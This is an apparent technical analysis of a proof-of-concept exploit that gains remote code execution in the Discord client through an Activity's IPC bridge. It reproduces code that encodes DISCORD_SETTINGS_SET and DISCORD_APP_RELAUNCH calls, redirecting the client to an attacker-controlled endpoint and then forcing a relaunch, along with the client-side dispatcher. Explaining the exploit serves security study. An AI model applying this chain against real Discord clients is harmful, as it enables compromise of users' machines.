# Discord IPC Calls for RCE: Technical Analysis of the bikini/exploitarium Exploit

> Discover how Discord IPC calls enable RCE. Technical analysis of the bikini exploitarium exploit reveals attacker control via DISCORD_SETTINGS_SET and DISCORD_APP_RELAUNCH.

- Repository: [bikini/exploitarium](https://github.com/bikini/exploitarium)
- Tags: deep-dive
- Published: 2026-09-07

---

**The bikini/exploitarium proof-of-concept achieves remote code execution by invoking `DISCORD_SETTINGS_SET` and `DISCORD_APP_RELAUNCH` IPC calls through Discord's Activity interface to reconfigure client settings and force a renderer restart that executes attacker-controlled native code.**

The **Discord IPC calls for RCE** documented in the `bikini/exploitarium` repository demonstrate how malicious Activities weaponize Discord's internal Inter-Process Communication bridge. This proof-of-concept manipulates the client's native IPC interface to modify runtime configuration values and trigger unauthorized process relaunches, ultimately achieving arbitrary code execution.

## Core Discord IPC Calls for RCE

The exploit chain relies on two specific IPC calls that manipulate the Discord client's internal state. These low-level channels are typically used for legitimate client management but are repurposed here to establish remote control.

### DISCORD_SETTINGS_SET

The **`DISCORD_SETTINGS_SET`** IPC call writes arbitrary configuration values directly into the Discord client's persistent state. According to the source code in [`discord-activity-stock-client-rce-poc/server.js`](https://github.com/bikini/exploitarium/blob/main/discord-activity-stock-client-rce-poc/server.js), the exploit uses this call to overwrite critical routing values:

- **`WEBAPP_ENDPOINT`**: Redirects the client's base URL to an attacker-controlled origin
- **`WEBAPP_PATH`**: Specifies the path component (set to `/native-proof`) that serves the final payload

### DISCORD_APP_RELAUNCH

The **`DISCORD_APP_RELAUNCH`** IPC call forces the Discord client to terminate and restart its main renderer process. This cross-process transition executes the attacker-injected configuration in a fresh context, bypassing security boundaries that might exist in the current process. When invoked with empty arguments, it triggers an immediate restart without user confirmation.

## Payload Construction in server.js

In [`discord-activity-stock-client-rce-poc/server.js`](https://github.com/bikini/exploitarium/blob/main/discord-activity-stock-client-rce-poc/server.js) (lines 212-219), the stage-2 payload constructs the IPC sequence using the `sequenceSetters` array. This data structure defines the ordered invocation of Discord IPC calls for RCE and serializes them into URL parameters:

```js
const sequenceSetters = [
  { channel: "DISCORD_SETTINGS_SET", args: ["WEBAPP_ENDPOINT", collectorOrigin] },
  { channel: "DISCORD_SETTINGS_SET", args: ["WEBAPP_PATH", "/native-proof"] },
  { channel: "DISCORD_APP_RELAUNCH", args: [] }
]
  .flatMap((invocation, i) => [
    `params.set("ipc_seq${i}_channel", ${JSON.stringify(invocation.channel)});`,
    ...invocation.args.map((v, j) =>
      `params.set("ipc_seq${i}_arg${j}", ${JSON.stringify(v)});`)
  ])
  .join("\n        ");

```

This generator creates URL parameters such as `ipc_seq0_channel=DISCORD_SETTINGS_SET` and `ipc_seq2_channel=DISCORD_APP_RELAUNCH`, which the client-side script parses to reconstruct the invocation list.

## Client-Side IPC Dispatch in exploit.html

The client-side implementation in [`discord-activity-stock-client-rce-poc/exploit.html`](https://github.com/bikini/exploitarium/blob/main/discord-activity-stock-client-rce-poc/exploit.html) (lines 880-894) retrieves these parameters and dispatches them through the `DiscordNative` bridge. The dispatcher supports both asynchronous `send` and synchronous `invoke` methods:

```js
const profileName = params.get("ipc_profile") || "electron37_6";
const methodName   = params.get("ipc_method") || "send";

for (let i = 0; ; ++i) {
  const chan = params.get(`ipc_seq${i}_channel`);
  if (!chan) break;
  const args = [];
  for (let j = 0; ; ++j) {
    const key = `ipc_seq${i}_arg${j}`;
    if (!params.has(key)) break;
    args.push(params.get(key));
  }
  if (methodName === "send") {
    DiscordNative.ipc.send(chan, ...args);
  } else {
    DiscordNative.ipc.invoke(chan, ...args);
  }
}

```

The code iterates through the sequence until no `ipc_seq${i}_channel` parameter exists, executing each Discord IPC call for RCE in order.

## Exploit Execution Flow

The complete RCE chain proceeds through three coordinated stages that leverage the Activity's privileged execution context:

1. **Stage 1** delivers a minimal "popup-patch" payload that establishes the execution environment within the Activity iframe context.

2. **Stage 2** triggers the server to generate HTML containing the IPC sequence parameters. The client loads this HTML and executes the embedded JavaScript, which:
   - Sets `WEBAPP_ENDPOINT` to the attacker's collector origin
   - Sets `WEBAPP_PATH` to `/native-proof`
   - Invokes `DISCORD_APP_RELAUNCH` to force a renderer restart

3. **Stage 3** occurs when the relaunched process loads the `/native-proof` endpoint with the attacker-controlled configuration. This page executes native code—such as spawning `calc.exe` via `CreateProcessW`—in the fresh renderer context, completing the RCE demonstration.

## Summary

- **Two critical IPC calls** enable the exploit: `DISCORD_SETTINGS_SET` for configuration manipulation and `DISCORD_APP_RELAUNCH` for forced process restart.
- **Payload construction** occurs in [`server.js`](https://github.com/bikini/exploitarium/blob/main/server.js) lines 212-219, encoding IPC invocations as URL parameters using the `sequenceSetters` array structure.
- **Client-side dispatch** executes in [`exploit.html`](https://github.com/bikini/exploitarium/blob/main/exploit.html) lines 880-894 through the `DiscordNative.ipc` bridge using `send` or `invoke` methods.
- The exploit achieves **remote code execution** by forcing the Discord client to restart with attacker-controlled endpoint configurations, bypassing sandbox restrictions in the new process context.

## Frequently Asked Questions

### What Discord IPC calls are used for RCE in this exploit?

The exploit utilizes `DISCORD_SETTINGS_SET` to modify internal client settings including `WEBAPP_ENDPOINT` and `WEBAPP_PATH`, followed by `DISCORD_APP_RELAUNCH` to force a renderer restart. According to the `bikini/exploitarium` source code, these calls are sequenced to redirect the client to attacker-controlled infrastructure before triggering code execution in the fresh process context.

### How does the exploit chain deliver these IPC calls to the Discord client?

The server embeds IPC instructions as URL parameters (such as `ipc_seq0_channel` and `ipc_seq0_arg0`) within the Activity's HTML payload. The client-side JavaScript in [`exploit.html`](https://github.com/bikini/exploitarium/blob/main/exploit.html) parses these parameters dynamically and dispatches them through `DiscordNative.ipc.send()` or `DiscordNative.ipc.invoke()` methods, executing each call in the sequence defined by the attacker.

### Which source files contain the RCE implementation?

The primary implementation resides in [`discord-activity-stock-client-rce-poc/server.js`](https://github.com/bikini/exploitarium/blob/main/discord-activity-stock-client-rce-poc/server.js) for payload generation and [`discord-activity-stock-client-rce-poc/exploit.html`](https://github.com/bikini/exploitarium/blob/main/discord-activity-stock-client-rce-poc/exploit.html) for client-side IPC dispatch. The accompanying [`README.md`](https://github.com/bikini/exploitarium/blob/main/README.md) provides architectural documentation explaining the exploit flow and the specific behavior of each IPC call.

### Why is the renderer restart necessary for achieving RCE?

The `DISCORD_APP_RELAUNCH` call forces the Discord client to instantiate a new renderer process that loads the attacker-controlled `WEBAPP_ENDPOINT` and `WEBAPP_PATH` values set by the previous `DISCORD_SETTINGS_SET` calls. This fresh process executes the malicious native code with the modified configuration, completing the chain by running commands such as `calc.exe` via `CreateProcessW` in the compromised context.